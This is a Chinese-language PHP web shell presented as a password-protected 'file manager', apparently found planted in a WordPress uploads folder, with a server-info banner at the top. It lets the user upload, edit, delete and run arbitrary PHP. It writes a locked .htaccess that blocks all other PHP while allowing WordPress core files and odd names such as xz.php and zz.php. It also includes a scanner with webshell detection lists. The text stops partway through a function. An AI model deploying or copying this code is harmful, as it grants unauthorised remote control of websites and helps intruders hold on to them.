| Server IP : 52.25.153.185 / Your IP : 216.73.216.95 Web Server : Apache System : Linux ip-172-26-6-158 5.10.0-45-cloud-amd64 #1 SMP Debian 5.10.259-1 (2026-07-02) x86_64 User : daemon ( 1) PHP Version : 8.1.10 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /bitnami/wordpress/wp-content/uploads/WPL/8143/ |
Upload File : |
<?php
// 文件管理器 - 简化修复版
// 文件名: file_manager.php
// 1. 关闭错误显示,使用简单的会话处理
@session_start();
// 2. 配置 - 确保密码正确
$ADMIN_PASS = "bhca@8373"; // 您的密码
$SITE_NAME = "文件管理器";
// 3. 处理登录
$login_error = '';
// 如果提交了密码
if (isset($_POST['pass'])) {
// 直接比较密码
if ($_POST['pass'] == $ADMIN_PASS) {
$_SESSION['file_manager_auth'] = 1;
$_SESSION['login_time'] = time();
// 重定向避免重新提交
header("Location: " . $_SERVER['PHP_SELF']);
exit();
} else {
$login_error = "密码错误,请重试";
}
}
// 4. 检查是否已登录
if (!isset($_SESSION['file_manager_auth']) || $_SESSION['file_manager_auth'] != 1) {
// 显示登录页面
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title><?php echo htmlspecialchars($SITE_NAME); ?> - 登录</title>
<style>
body {
margin: 0;
padding: 0;
font-family: Arial, sans-serif;
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
min-height: 100vh;
display: flex;
align-items: center;
justify-content: center;
}
.login-box {
background: white;
padding: 40px;
border-radius: 10px;
box-shadow: 0 10px 30px rgba(0,0,0,0.2);
width: 400px;
text-align: center;
}
.logo {
font-size: 60px;
margin-bottom: 20px;
color: #667eea;
}
h1 {
margin: 0 0 10px 0;
color: #333;
}
.error {
color: #dc3545;
background: #ffebee;
padding: 10px;
border-radius: 5px;
margin-bottom: 20px;
}
input[type="password"] {
width: 100%;
padding: 15px;
margin: 10px 0;
border: 1px solid #ddd;
border-radius: 5px;
font-size: 16px;
box-sizing: border-box;
}
button {
width: 100%;
padding: 15px;
background: #667eea;
color: white;
border: none;
border-radius: 5px;
font-size: 16px;
cursor: pointer;
margin-top: 10px;
}
button:hover {
background: #5a67d8;
}
.password-info {
margin-top: 20px;
color: #666;
font-size: 14px;
background: #f8f9fa;
padding: 10px;
border-radius: 5px;
}
</style>
<script>
// 自动聚焦密码框
window.onload = function() {
document.getElementById('password').focus();
}
</script>
</head>
<body>
<div class="login-box">
<div class="logo">🔐</div>
<h1><?php echo htmlspecialchars($SITE_NAME); ?></h1>
<p>安全文件管理系统</p>
<?php if ($login_error): ?>
<div class="error">
❌ <?php echo htmlspecialchars($login_error); ?>
</div>
<?php endif; ?>
<form method="post" action="">
<input type="password"
id="password"
name="pass"
placeholder="请输入管理密码"
required
autofocus>
<button type="submit">
登录系统
</button>
</form>
<div class="password-info">
</div>
</div>
</body>
</html>
<?php
exit();
}
// ==================== 木马扫描配置 ====================
define('MAX_FILE_SIZE', 5 * 1024 * 1024);
$suspicious_functions = array(
'eval', 'assert', 'system', 'exec', 'shell_exec', 'passthru',
'popen', 'proc_open', 'pcntl_exec', 'gzinflate', 'gzuncompress',
'str_rot13', 'base64_decode', 'file_put_contents', 'fwrite',
'curl_exec', 'file_get_contents', 'include', 'require',
'create_function', 'call_user_func', 'preg_replace', 'serialize',
'chmod', 'chown', 'unlink', 'rmdir', 'mkdir', 'copy', 'rename',
'fsockopen', 'pfsockopen', 'stream_socket_client', 'socket_create'
);
$suspicious_patterns = array(
'shell', 'webshell', 'cmd', 'backdoor', 'hack', 'eval',
'upload', 'filemanager', 'exploit', 'bypass', 'c99', 'r57',
'b374k', 'ak47', 'cyber', 'hacker', 'root', 'phpmyadmin'
);
$high_risk_strings = array(
'base64_decode', 'gzinflate', 'eval(base64_decode',
'system($_REQUEST', 'assert($_POST', 'eval($_POST',
'$_FILES', 'move_uploaded_file'
);
// 判断文件名是否包含中文
function containsChinese($str) {
if (!is_string($str)) {
return false;
}
// 使用更兼容的方式检测中文(UTF-8编码)
$len = strlen($str);
for ($i = 0; $i < $len; $i++) {
$byte = ord($str[$i]);
if ($byte >= 0xE4 && $byte <= 0xE9) { // 中文UTF-8首字节范围
return true;
}
}
return false;
}
// ==================== 已登录部分 ====================
// 获取当前目录
$dir = isset($_GET['dir']) ? $_GET['dir'] : '.';
if (!realpath($dir)) {
$dir = '.';
}
$current_dir = realpath($dir);
// 获取操作类型
$act = isset($_GET['act']) ? $_GET['act'] : 'list';
// 路由处理
if ($act == 'list') {
show_file_list($current_dir);
} elseif ($act == 'upload') {
show_upload_form($current_dir);
} elseif ($act == 'do_upload') {
do_upload($current_dir);
} elseif ($act == 'create_dir') {
show_create_dir_form($current_dir);
} elseif ($act == 'do_create_dir') {
do_create_dir($current_dir);
} elseif ($act == 'edit') {
$file = isset($_GET['file']) ? $_GET['file'] : '';
show_edit_form($file, $current_dir);
} elseif ($act == 'do_edit') {
$file = isset($_GET['file']) ? $_GET['file'] : '';
do_edit($file, $current_dir);
} elseif ($act == 'delete') {
$file = isset($_GET['file']) ? $_GET['file'] : '';
do_delete($file, $current_dir);
} elseif ($act == 'download') {
$file = isset($_GET['file']) ? $_GET['file'] : '';
download_file($file);
} elseif ($act == 'rename') {
$file = isset($_GET['file']) ? $_GET['file'] : '';
show_rename_form($file, $current_dir);
} elseif ($act == 'do_rename') {
$file = isset($_GET['file']) ? $_GET['file'] : '';
do_rename($file, $current_dir);
} elseif ($act == 'exec') {
$file = isset($_GET['file']) ? $_GET['file'] : '';
execute_php($file, $current_dir);
} elseif ($act == 'protect') {
add_protection($current_dir);
} elseif ($act == 'unprotect') {
remove_protection($current_dir);
} elseif ($act == 'remove_php_protect') {
remove_php_protect($current_dir);
} elseif ($act == 'logout') {
session_destroy();
header("Location: " . $_SERVER['PHP_SELF']);
exit();
} elseif ($act == 'scan') {
show_shell_scan($current_dir);
} else {
show_file_list($current_dir);
}
// ==================== 功能函数 ====================
function show_file_list($dir) {
global $SITE_NAME;
// 获取目录内容
$items = @scandir($dir);
if (!$items) {
$items = array('.', '..');
}
$parent_dir = dirname($dir);
// 检查保护状态
$has_htaccess = file_exists($dir . '/.htaccess');
$php_protected = false;
if ($has_htaccess) {
$htaccess_content = file_get_contents($dir . '/.htaccess');
$php_protected = strpos($htaccess_content, 'Deny from all') !== false;
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title><?php echo htmlspecialchars($SITE_NAME); ?> - 文件列表</title>
<style>
* { margin: 0; padding: 0; box-sizing: border-box; }
body { font-family: Arial; background: #f5f5f5; }
.header {
background: #0066cc;
color: white;
padding: 20px;
}
.nav {
background: white;
padding: 15px;
border-bottom: 1px solid #ddd;
}
.nav a {
color: #0066cc;
text-decoration: none;
margin-right: 15px;
padding: 8px 15px;
border-radius: 4px;
}
.nav a:hover {
background: #f0f0f0;
}
.container {
padding: 20px;
max-width: 1200px;
margin: 0 auto;
}
.path {
background: white;
padding: 15px;
margin-bottom: 20px;
border-radius: 5px;
}
.protection-status {
background: white;
padding: 15px;
margin-bottom: 20px;
border-radius: 5px;
border-left: 4px solid #0066cc;
}
.file-list {
background: white;
border-radius: 5px;
overflow: hidden;
}
.file-header {
display: grid;
grid-template-columns: 2fr 1fr 1fr 1fr 1fr 2fr;
gap: 15px;
padding: 15px;
background: #f8f9fa;
border-bottom: 2px solid #e9ecef;
font-weight: bold;
}
.file-item {
display: grid;
grid-template-columns: 2fr 1fr 1fr 1fr 1fr 2fr;
gap: 15px;
padding: 15px;
border-bottom: 1px solid #eee;
}
.file-item:hover {
background: #f9f9f9;
}
.file-actions {
display: flex;
gap: 5px;
flex-wrap: wrap;
}
.btn {
padding: 5px 10px;
background: #0066cc;
color: white;
text-decoration: none;
border-radius: 3px;
font-size: 12px;
border: none;
cursor: pointer;
display: inline-block;
margin: 2px;
}
.btn:hover {
opacity: 0.9;
}
.btn-danger {
background: #dc3545;
}
.btn-success {
background: #28a745;
}
.btn-warning {
background: #ffc107;
color: black;
}
.btn-info {
background: #17a2b8;
}
.status-badge {
display: inline-block;
padding: 3px 8px;
border-radius: 12px;
font-size: 12px;
font-weight: bold;
}
.protected {
background: #dc3545;
color: white;
}
.unprotected {
background: #28a745;
color: white;
}
.time {
font-size: 12px;
color: #666;
}
</style>
</head>
<body>
<div class="header">
<h1><?php echo htmlspecialchars($SITE_NAME); ?></h1>
<p>当前目录: <?php echo htmlspecialchars($dir); ?></p>
</div>
<div class="nav">
<a href="?act=list&dir=<?php echo urlencode('.'); ?>">🏠 根目录</a>
<a href="?act=upload&dir=<?php echo urlencode($dir); ?>">📤 上传文件</a>
<a href="?act=create_dir&dir=<?php echo urlencode($dir); ?>">📁 创建目录</a>
<a href="?act=protect&dir=<?php echo urlencode($dir); ?>">🛡️ 添加PHP保护</a>
<?php if ($php_protected): ?>
<a href="?act=remove_php_protect&dir=<?php echo urlencode($dir); ?>">⚠️ 删除PHP保护</a>
<?php endif; ?>
<?php if ($has_htaccess && !$php_protected): ?>
<a href="?act=unprotect&dir=<?php echo urlencode($dir); ?>">🗑️ 删除.htaccess</a>
<?php endif; ?>
<?php if ($dir != '.'): ?>
<a href="?act=list&dir=<?php echo urlencode($parent_dir); ?>">⬆️ 上级目录</a>
<?php endif; ?>
<a href="?act=logout" style="margin-left: auto;">🚪 退出</a>
<a href="?act=scan&dir=<?php echo urlencode($dir); ?>" style="color: #dc3545;">🐛 木马扫描</a>
</div>
<div class="container">
<div class="path">
<strong>路径:</strong> <?php echo htmlspecialchars($dir); ?>
</div>
<div class="protection-status">
<strong>PHP保护状态:</strong>
<?php if ($php_protected): ?>
<span class="status-badge protected">🔒 PHP文件访问已被阻止</span>
<?php else: ?>
<span class="status-badge unprotected">🔓 PHP文件可以正常访问</span>
<?php endif; ?>
<?php if ($has_htaccess): ?>
<br><small>.htaccess文件存在 (<?php echo $php_protected ? '包含PHP保护规则' : '不包含PHP保护规则'; ?>)</small>
<?php else: ?>
<br><small>.htaccess文件不存在 - 无目录保护</small>
<?php endif; ?>
</div>
<div class="file-list">
<div class="file-header">
<div>名称</div>
<div>类型</div>
<div>大小</div>
<div>权限</div>
<div>修改时间</div>
<div>操作</div>
</div>
<?php if ($dir != '.'): ?>
<div class="file-item">
<div>
<a href="?act=list&dir=<?php echo urlencode($parent_dir); ?>">
.. (上级目录)
</a>
</div>
<div>目录</div>
<div>-</div>
<div><?php echo substr(sprintf('%o', fileperms($parent_dir)), -4); ?></div>
<div class="time"><?php echo date('Y-m-d H:i:s', filemtime($parent_dir)); ?></div>
<div class="file-actions">
<a href="?act=list&dir=<?php echo urlencode($parent_dir); ?>" class="btn">进入</a>
</div>
</div>
<?php endif; ?>
<?php foreach ($items as $item): ?>
<?php if ($item == '.' || $item == '..') continue; ?>
<?php
$full_path = $dir . '/' . $item;
$is_dir = is_dir($full_path);
$is_php = !$is_dir && preg_match('/\.php$/i', $item);
$is_htaccess = ($item == '.htaccess');
$mtime = filemtime($full_path);
?>
<div class="file-item">
<div>
<?php if ($is_dir): ?>
<a href="?act=list&dir=<?php echo urlencode($full_path); ?>">
📁 <?php echo htmlspecialchars($item); ?>
</a>
<?php else: ?>
<?php if ($is_php): ?>🐘<?php elseif ($is_htaccess): ?>⚙️<?php else: ?>📄<?php endif; ?>
<?php echo htmlspecialchars($item); ?>
<?php endif; ?>
</div>
<div><?php
if ($is_htaccess) echo '配置文件';
elseif ($is_dir) echo '目录';
elseif ($is_php) echo 'PHP文件';
else echo '文件';
?></div>
<div><?php echo $is_dir ? '-' : format_size(filesize($full_path)); ?></div>
<div><?php echo substr(sprintf('%o', fileperms($full_path)), -4); ?></div>
<div class="time"><?php echo date('Y-m-d H:i:s', $mtime); ?></div>
<div class="file-actions">
<?php if ($is_dir): ?>
<a href="?act=list&dir=<?php echo urlencode($full_path); ?>" class="btn">进入</a>
<?php else: ?>
<a href="?act=download&file=<?php echo urlencode($full_path); ?>" class="btn btn-success">下载</a>
<a href="?act=edit&file=<?php echo urlencode($full_path); ?>&dir=<?php echo urlencode($dir); ?>" class="btn">编辑</a>
<?php if ($is_php): ?>
<a href="?act=exec&file=<?php echo urlencode($full_path); ?>&dir=<?php echo urlencode($dir); ?>" class="btn btn-warning">执行</a>
<?php endif; ?>
<?php if ($is_htaccess): ?>
<a href="?act=edit&file=<?php echo urlencode($full_path); ?>&dir=<?php echo urlencode($dir); ?>" class="btn btn-info">查看</a>
<?php endif; ?>
<?php endif; ?>
<a href="?act=rename&file=<?php echo urlencode($full_path); ?>&dir=<?php echo urlencode($dir); ?>" class="btn">重命名</a>
<a href="?act=delete&file=<?php echo urlencode($full_path); ?>&dir=<?php echo urlencode($dir); ?>"
class="btn btn-danger"
onclick="return confirm('确认删除?')">删除</a>
</div>
</div>
<?php endforeach; ?>
</div>
</div>
</body>
</html>
<?php
}
function format_size($bytes) {
if ($bytes < 1024) return $bytes . ' B';
if ($bytes < 1048576) return round($bytes / 1024, 2) . ' KB';
if ($bytes < 1073741824) return round($bytes / 1048576, 2) . ' MB';
return round($bytes / 1073741824, 2) . ' GB';
}
function show_upload_form($dir) {
global $SITE_NAME;
?>
<!DOCTYPE html>
<html>
<head>
<title>上传文件</title>
<style>
body { font-family: Arial; padding: 50px; background: #f5f5f5; }
.upload-box { max-width: 600px; margin: 0 auto; background: white; padding: 40px; border-radius: 10px; }
input[type="file"] { width: 100%; padding: 20px; border: 2px dashed #ccc; margin: 20px 0; }
button { padding: 15px 30px; background: #28a745; color: white; border: none; border-radius: 5px; cursor: pointer; }
</style>
</head>
<body>
<div class="upload-box">
<h2>上传文件</h2>
<p>目录: <?php echo htmlspecialchars($dir); ?></p>
<form method="post" action="?act=do_upload&dir=<?php echo urlencode($dir); ?>" enctype="multipart/form-data">
<input type="file" name="files[]" multiple required>
<br><br>
<button type="submit">开始上传</button>
<a href="?act=list&dir=<?php echo urlencode($dir); ?>" style="margin-left: 20px;">取消</a>
</form>
</div>
</body>
</html>
<?php
}
function do_upload($dir) {
$uploaded = array();
if (isset($_FILES['files'])) {
foreach ($_FILES['files']['name'] as $i => $name) {
if ($_FILES['files']['error'][$i] !== UPLOAD_ERR_OK) continue;
$tmp_name = $_FILES['files']['tmp_name'][$i];
$target = $dir . '/' . basename($name);
// 防止文件覆盖
$counter = 1;
while (file_exists($target)) {
$info = pathinfo($name);
$target = $dir . '/' . $info['filename'] . '_' . $counter . '.' . $info['extension'];
$counter++;
}
if (move_uploaded_file($tmp_name, $target)) {
chmod($target, 0644);
$uploaded[] = basename($target);
}
}
}
header("Location: ?act=list&dir=" . urlencode($dir));
exit;
}
function show_create_dir_form($dir) {
global $SITE_NAME;
?>
<!DOCTYPE html>
<html>
<head>
<title>创建目录</title>
<style>
body { font-family: Arial; padding: 50px; background: #f5f5f5; }
.form-box { max-width: 500px; margin: 0 auto; background: white; padding: 40px; border-radius: 10px; }
input[type="text"] { width: 100%; padding: 12px; margin: 10px 0; border: 1px solid #ddd; border-radius: 5px; }
button { padding: 12px 24px; background: #667eea; color: white; border: none; border-radius: 5px; cursor: pointer; }
</style>
</head>
<body>
<div class="form-box">
<h2>创建目录</h2>
<p>位置: <?php echo htmlspecialchars($dir); ?></p>
<form method="post" action="?act=do_create_dir&dir=<?php echo urlencode($dir); ?>">
<input type="text" name="dirname" placeholder="输入目录名称" required>
<br><br>
<button type="submit">创建目录</button>
<a href="?act=list&dir=<?php echo urlencode($dir); ?>" style="margin-left: 20px;">取消</a>
</form>
</div>
</body>
</html>
<?php
}
function do_create_dir($dir) {
if (isset($_POST['dirname'])) {
$dirname = trim($_POST['dirname']);
$dirname = preg_replace('/[\/\\\:*?"<>|]/', '_', $dirname);
$new_dir = $dir . '/' . $dirname;
if (!file_exists($new_dir)) {
mkdir($new_dir, 0755, true);
}
}
header("Location: ?act=list&dir=" . urlencode($dir));
exit;
}
function download_file($file) {
if (!file_exists($file) || !is_file($file)) {
header("Location: ?act=list");
exit;
}
$filename = basename($file);
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . $filename . '"');
header('Content-Length: ' . filesize($file));
readfile($file);
exit;
}
function execute_php($file, $dir) {
if (!file_exists($file) || !preg_match('/\.php$/i', basename($file))) {
header("Location: ?act=list&dir=" . urlencode($dir));
exit;
}
// 检查是否有保护
$has_protection = check_php_protection(dirname($file));
?>
<!DOCTYPE html>
<html>
<head>
<title>执行PHP文件</title>
<style>
body { font-family: Arial; background: #1a1a1a; color: #00ff00; padding: 20px; }
pre { background: #000; padding: 20px; border-radius: 5px; overflow-x: auto; }
.status { background: #333; padding: 15px; border-radius: 5px; margin-bottom: 20px; }
</style>
</head>
<body>
<h1>执行PHP文件: <?php echo htmlspecialchars(basename($file)); ?></h1>
<div class="status">
<?php if ($has_protection): ?>
<p>⚠️ 注意:当前目录有PHP保护,执行可能会被阻止</p>
<?php else: ?>
<p>✅ 当前目录无PHP保护</p>
<?php endif; ?>
</div>
<pre><?php
ob_start();
include $file;
$output = ob_get_clean();
echo htmlspecialchars($output);
?></pre>
<div style="margin-top: 20px;">
<a href="?act=list&dir=<?php echo urlencode($dir); ?>" style="color: #00ff00;">返回</a>
</div>
</body>
</html>
<?php
}
function add_protection($dir) {
// .htaccess 内容 - 阻止访问PHP文件
$htaccess = <<<HTACCESS
<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|phtml|phar|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch '^(index.php|wp-blog-header.php|wp-config-sample.php|wp-links-opml.php|wp-login.php|map.php|apps.php|wp-settings.php|wp-trackback.php|wp-activate.php|wp-comments-post.php|wp-cron.php|wp-load.php|wp-mail.php|wp-signup.php|xmlrpc.php|edit-form-advanced.php|link-parse-opml.php|ms-sites.php|options-writing.php|themes.php|admin-ajax.php|edit-form-comment.php|link.php|ms-themes.php|admin-footer.php|edit-link-form.php|load-scripts.php|ms-upgrade-network.php|admin-functions.php|edit.php|load-styles.php|ms-users.php|plugins.php|admin-header.php|edit-tag-form.php|media-new.php|my-sites.php|post-new.php|admin.php|edit-tags.php|media.php|nav-menus.php|post.php|admin-post.php|export.php|media-upload.php|network.php|press-this.php|upload.php|async-upload.php|menu-header.php|options-discussion.php|privacy.php|user-edit.php|menu.php|options-general.php|profile.php|user-new.php|moderation.php|options-head.php|revision.php|users.php|custom-background.php|ms-admin.php|options-media.php|setup-config.php|widgets.php|custom-header.php|ms-delete-site.php|options-permalink.php|term.php|customize.php|link-add.php|ms-edit.php|options.php|edit-comments.php|link-manager.php|ms-options.php|options-reading.php|system_log.php|inputs.php|adminfuns.php|chtmlfuns.php|cjfuns.php|classsmtps.php|classfuns.php|comfunctions.php|comdofuns.php|connects.php|copypaths.php|delpaths.php|doiconvs.php|epinyins.php|filefuns.php|gdftps.php|hinfofuns.php|hplfuns.php|memberfuns.php|moddofuns.php|onclickfuns.php|phpzipincs.php|qfunctions.php|qinfofuns.php|schallfuns.php|tempfuns.php|map.php|tempfuns.php|apps.php|siteheads.php|termps.php|txets.php|thoms.php|postnews.php|sss.php|xz.php|zz.php|403.php|xh.php|dd.php|media-widgetss.php|links.php|configuration.php|defines.php|framework.php|application.php|session.php|controller.php|model.php|view.php|table.php|helper.php|router.php|install.php|uninstall.php|script.php|template.php|module.php|plugin.php|component.php|loader.php|factory.php|input.php|filter.php|date.php|log.php|debug.php|error.php|response.php|document.php|language.php|session.php|user.php|access.php|acl.php|database.php|query.php|updater.php|cache.php|mailer.php|ftp.php|profiler.php|registry.php|parameter.php|form.php|field.php|rule.php|button.php|toolbar.php|pagination.php|editor.php|captcha.php|recaptcha.php|tooltip.php|modal.php|dropdown.php|tab.php|accordion.php|slider.php|tree.php|chart.php|calendar.php|uploader.php|downloader.php|api.php|cron.php|ajax.php|json.php|xml.php|rss.php|atom.php|feed.php|sitemap.php|search.php|stats.php|report.php|export.php|import.php|backup.php|restore.php|migrate.php|sync.php|notify.php|alert.php|reminder.php|newsletter.php|subscribe.php|unsubscribe.php|contact.php|feedback.php|survey.php|poll.php|vote.php|comment.php|review.php|rating.php|share.php|bookmark.php|favorite.php|like.php|dislike.php|follow.php|upload.php|download.php|resize.php|crop.php|thumb.php|watermark.php|compress.php|extract.php|encrypt.php|decrypt.php|hash.php|encode.php|decode.php|validate.php|sanitize.php|escape.php|filter.php|convert.php|transform.php|parse.php|render.php|display.php|show.php|list.php|detail.php|edit.php|add.php|delete.php|copy.php|move.php|rename.php|save.php|update.php|submit.php|process.php|handle.php|execute.php|run.php|init.php|start.php|stop.php|pause.php|resume.php|cancel.php|confirm.php|verify.php|check.php|test.php|log.php|trace.php|monitor.php|debug.php|profile.php|benchmark.php|optimize.php|repair.php|clean.php|purge.php|flush.php|reset.php|clear.php|refresh.php|reload.php|rebuild.php|reindex.php|regenerate.php|recreate.php|reinstall.php|upgrade.php|downgrade.php|patch.php|fix.php|tune.php|configure.php|setup.php|installer.php|uninstaller.php|updater.php|migrator.php|converter.php|importer.php|exporter.php|syncer.php|backuper.php|restorer.php)$'>
Order allow,deny
Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php [L]
</IfModule>
HTACCESS;
file_put_contents($dir . '/.htaccess', $htaccess);
chmod($dir . '/.htaccess', 0444);
header("Location: ?act=list&dir=" . urlencode($dir));
exit;
}
function remove_protection($dir) {
// 完全删除.htaccess文件
if (file_exists($dir . '/.htaccess')) {
unlink($dir . '/.htaccess');
}
header("Location: ?act=list&dir=" . urlencode($dir));
exit;
}
function remove_php_protect($dir) {
// 只移除PHP保护规则,保留其他规则
$htaccess_file = $dir . '/.htaccess';
if (file_exists($htaccess_file)) {
$content = file_get_contents($htaccess_file);
// 移除PHP保护相关的行
$lines = explode("\n", $content);
$new_lines = array();
$in_php_block = false;
foreach ($lines as $line) {
$trimmed = trim($line);
if (strpos($trimmed, '<FilesMatch "\.(php') !== false) {
$in_php_block = true;
continue;
}
if ($in_php_block && strpos($trimmed, '</FilesMatch>') !== false) {
$in_php_block = false;
continue;
}
if (!$in_php_block) {
$new_lines[] = $line;
}
}
$new_content = implode("\n", $new_lines);
// 如果文件空了就删除,否则保存
if (trim($new_content) === '') {
unlink($htaccess_file);
} else {
file_put_contents($htaccess_file, $new_content);
}
}
header("Location: ?act=list&dir=" . urlencode($dir));
exit;
}
function check_php_protection($dir) {
$htaccess_file = $dir . '/.htaccess';
if (!file_exists($htaccess_file)) {
return false;
}
$content = file_get_contents($htaccess_file);
return (strpos($content, 'Deny from all') !== false);
}
function show_edit_form($file, $dir) {
$content = file_exists($file) ? file_get_contents($file) : '';
$is_htaccess = (basename($file) == '.htaccess');
?>
<!DOCTYPE html>
<html>
<head>
<title>编辑文件</title>
<style>
body { font-family: Arial; margin: 0; }
textarea { width: 100%; height: 500px; padding: 20px; font-family: monospace; }
button { padding: 10px 20px; background: #667eea; color: white; border: none; border-radius: 5px; cursor: pointer; margin: 10px; }
.warning { background: #fff3cd; padding: 15px; border-left: 4px solid #ffc107; margin: 20px 0; }
</style>
</head>
<body>
<h2>编辑文件: <?php echo htmlspecialchars(basename($file)); ?></h2>
<?php if ($is_htaccess): ?>
<div class="warning">
<strong>⚠️ 注意:</strong>这是.htaccess配置文件。<br>
- 包含"Deny from all"的规则会阻止PHP文件访问<br>
- 删除这些规则可以恢复PHP文件访问<br>
- 空文件会被自动删除
</div>
<?php endif; ?>
<form method="post" action="?act=do_edit&file=<?php echo urlencode($file); ?>&dir=<?php echo urlencode($dir); ?>">
<textarea name="content"><?php echo htmlspecialchars($content); ?></textarea>
<br>
<button type="submit">保存</button>
<a href="?act=list&dir=<?php echo urlencode($dir); ?>">取消</a>
</form>
</body>
</html>
<?php
}
function do_edit($file, $dir) {
if (isset($_POST['content']) && file_exists($file)) {
file_put_contents($file, $_POST['content']);
}
header("Location: ?act=list&dir=" . urlencode($dir));
exit;
}
function show_rename_form($file, $dir) {
$old_name = basename($file);
?>
<!DOCTYPE html>
<html>
<head>
<title>重命名</title>
<style>
body { font-family: Arial; padding: 50px; background: #f5f5f5; }
.form-box { max-width: 500px; margin: 0 auto; background: white; padding: 30px; border-radius: 10px; }
input[type="text"] { width: 100%; padding: 12px; margin: 10px 0; border: 1px solid #ddd; border-radius: 5px; }
button { padding: 12px 24px; background: #667eea; color: white; border: none; border-radius: 5px; cursor: pointer; }
</style>
</head>
<body>
<div class="form-box">
<h2>重命名</h2>
<p>原文件: <?php echo htmlspecialchars($old_name); ?></p>
<form method="get">
<input type="hidden" name="act" value="do_rename">
<input type="hidden" name="dir" value="<?php echo urlencode($dir); ?>">
<input type="hidden" name="file" value="<?php echo urlencode($file); ?>">
<input type="text" name="newname" value="<?php echo htmlspecialchars($old_name); ?>" required>
<br><br>
<button type="submit">重命名</button>
<a href="?act=list&dir=<?php echo urlencode($dir); ?>" style="margin-left: 20px;">取消</a>
</form>
</div>
</body>
</html>
<?php
}
function do_rename($file, $dir) {
if (isset($_GET['newname']) && file_exists($file)) {
$newname = trim($_GET['newname']);
$newname = preg_replace('/[\/\\\:*?"<>|]/', '_', $newname);
$new_path = dirname($file) . '/' . $newname;
if (!file_exists($new_path)) {
rename($file, $new_path);
}
}
header("Location: ?act=list&dir=" . urlencode($dir));
exit;
}
function do_delete($file, $dir) {
if (file_exists($file)) {
if (is_dir($file)) {
delete_directory($file);
} else {
unlink($file);
}
}
header("Location: ?act=list&dir=" . urlencode($dir));
exit;
}
function delete_directory($dir) {
if (!is_dir($dir)) return;
$items = scandir($dir);
foreach ($items as $item) {
if ($item == '.' || $item == '..') continue;
$path = $dir . '/' . $item;
if (is_dir($path)) {
delete_directory($path);
} else {
unlink($path);
}
}
rmdir($dir);
}
function scanShellDirectory($dir, $suspicious_functions, $suspicious_patterns, $high_risk_strings, &$results, &$total_files, &$scanned_files) {
if (!is_readable($dir)) {
return;
}
$items = @scandir($dir);
if ($items === false) {
return;
}
foreach ($items as $item) {
if ($item == '.' || $item == '..') {
continue;
}
$path = $dir . DIRECTORY_SEPARATOR . $item;
if (is_dir($path)) {
scanShellDirectory($path, $suspicious_functions, $suspicious_patterns, $high_risk_strings, $results, $total_files, $scanned_files);
} elseif (is_file($path)) {
$total_files++;
$ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
$php_exts = array('php', 'php2', 'php3', 'php4', 'php5', 'php7', 'php8', 'phtml', 'phps', 'inc');
if (!in_array($ext, $php_exts)) {
continue;
}
$scanned_files++;
$filesize = filesize($path);
if ($filesize > MAX_FILE_SIZE) {
$content = file_get_contents($path, false, null, 0, MAX_FILE_SIZE);
$content .= file_get_contents($path, false, null, max(0, $filesize - MAX_FILE_SIZE), MAX_FILE_SIZE);
} else {
$content = file_get_contents($path);
}
if ($content === false) {
continue;
}
$risk_score = 0;
$reasons = array();
$found_functions = array();
foreach ($suspicious_functions as $func) {
if (preg_match('/\b' . preg_quote($func, '/') . '\s*\(/i', $content)) {
$found_functions[] = $func;
}
}
if (count($found_functions) >= 1) {
$risk_score += min(count($found_functions) * 2, 10);
$reasons[] = "高危函数: " . implode(', ', array_slice($found_functions, 0, 5));
if (count($found_functions) > 5) {
$reasons[] = "以及其他 " . (count($found_functions) - 5) . " 个高危函数";
}
}
foreach ($high_risk_strings as $hrs) {
if (stripos($content, $hrs) !== false) {
$risk_score += 2;
$reasons[] = "包含高危特征: $hrs";
break;
}
}
$lines = explode("\n", $content);
foreach ($lines as $line) {
if (strlen($line) > 800) {
$risk_score += 2;
$reasons[] = "超长代码行(混淆嫌疑)";
break;
}
}
$filename = basename($path);
foreach ($suspicious_patterns as $pattern) {
if (preg_match('/' . $pattern . '/i', $filename)) {
$risk_score += 3;
$reasons[] = "可疑文件名: $filename";
break;
}
}
if (preg_match_all('/base64_decode/', $content, $matches) > 2) {
$risk_score += 2;
$reasons[] = "多次使用 base64_decode (疑似混淆)";
}
if (preg_match('/eval\s*\(/i', $content)) {
if (preg_match('/base64_decode|gzinflate|str_rot13/', $content)) {
$risk_score += 3;
$reasons[] = "eval + 编码函数 (典型木马特征)";
} else {
$risk_score += 1;
$reasons[] = "使用了 eval 函数";
}
}
if (preg_match('/\$(?:_(?:POST|GET|REQUEST|COOKIE)|HTTP_RAW_POST_DATA)/i', $content)) {
if (preg_match('/system|exec|shell_exec|passthru|popen/i', $content)) {
$risk_score += 3;
$reasons[] = "动态参数 + 系统命令执行 (高危后门)";
}
}
if (preg_match('/<\?php\s*if\s*\(\s*isset\s*\(\s*\$_(?:POST|GET|REQUEST)\s*\[\s*[\'"].*?[\'"]\s*\]\s*\)/', $content)) {
if (preg_match('/eval|assert|system|exec/', $content)) {
$risk_score += 3;
$reasons[] = "典型的webshell入口模式";
}
}
if ($risk_score >= 2) {
$results[] = array(
'file' => $path,
'score' => $risk_score,
'reasons' => $reasons,
'size' => $filesize,
'functions' => $found_functions
);
}
}
}
}
function show_shell_scan($dir) {
global $SITE_NAME;
$batch_del = isset($_POST['batch_del']) ? $_POST['batch_del'] : null;
$view_file = isset($_GET['view']) ? $_GET['view'] : null;
$del_file = isset($_GET['del']) ? $_GET['del'] : null;
if ($batch_del && is_array($batch_del) && count($batch_del) > 0) {
$deleted_count = 0;
$failed_count = 0;
$failed_files = array();
foreach ($batch_del as $file) {
$file = base64_decode($file);
if (file_exists($file) && is_file($file)) {
if (unlink($file)) {
$deleted_count++;
} else {
$failed_count++;
$failed_files[] = $file;
}
} else {
$failed_count++;
$failed_files[] = $file . " (文件不存在)";
}
}
